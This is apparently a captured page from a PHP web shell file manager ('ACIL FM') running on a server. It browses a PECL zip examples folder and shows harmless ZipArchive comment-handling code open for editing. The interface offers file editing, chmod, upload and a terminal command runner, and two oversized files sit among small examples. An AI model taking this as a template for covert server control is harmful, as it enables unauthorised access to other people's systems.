ACIL FM
Dark
Refresh
Current DIR:
/opt/remi/php74/root/usr/share/doc/pecl/zip/examples
/
opt
remi
php74
root
usr
share
doc
pecl
zip
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
addglob.php
298 B
chmod
View
DL
Edit
Rename
Delete
addpattern.php
313 B
chmod
View
DL
Edit
Rename
Delete
comment.php
177 B
chmod
View
DL
Edit
Rename
Delete
create.php
700 B
chmod
View
DL
Edit
Rename
Delete
dir.php
486 B
chmod
View
DL
Edit
Rename
Delete
encryption.php
1.05 MB
chmod
View
DL
Edit
Rename
Delete
extract.php
518 B
chmod
View
DL
Edit
Rename
Delete
extractAll.php
457 B
chmod
View
DL
Edit
Rename
Delete
fopen.php
535 B
chmod
View
DL
Edit
Rename
Delete
get_set_comments.php
914 B
chmod
View
DL
Edit
Rename
Delete
odt.php
452 B
chmod
View
DL
Edit
Rename
Delete
oldapi.php
374 B
chmod
View
DL
Edit
Rename
Delete
set_compression.php
620 B
chmod
View
DL
Edit
Rename
Delete
test.zip
553 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
test1.zip
681 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
test_with_comment.zip
560 B
chmod
View
DL
Edit
ListZip
Unzip
Rename
Delete
too.php
18 B
chmod
View
DL
Edit
Rename
Delete
zipcmd.php
3.55 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/remi/php74/root/usr/share/doc/pecl/zip/examples/get_set_comments.php
<?php error_reporting(E_ALL|E_STRICT); copy('test_with_comment.zip', 't.zip'); $z = new ZipArchive; $z->open('t.zip'); print_r($z); for ($i=0; $i<$z->numFiles; $i++) { echo "index: $i\n"; print_r($z->getCommentIndex($i)); echo "\n\n"; } echo "foobar/ " . $z->getCommentName('foobar/') . "\n"; echo "Archive comment: " . $z->getArchiveComment() . "\n"; $z->setCommentIndex(1, 'new comment idx 1'); $z->setCommentName('foobar/', 'new comment foobar/'); $z->setArchiveComment( 'new archive comment'); for ($i=0; $i<$z->numFiles; $i++) { echo "index: $i\n"; print_r($z->getCommentIndex($i)); echo "\n\n"; } echo $z->getCommentName('foobar/') . "\n"; // Get the original comment echo $z->getCommentName('foobar/', ZIPARCHIVE::FL_UNCHANGED) . "\n"; echo "Archive comment: " . $z->getArchiveComment() . "\n"; echo "Archive comment (original): " . $z->getArchiveComment(ZIPARCHIVE::FL_UNCHANGED) . "\n";
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply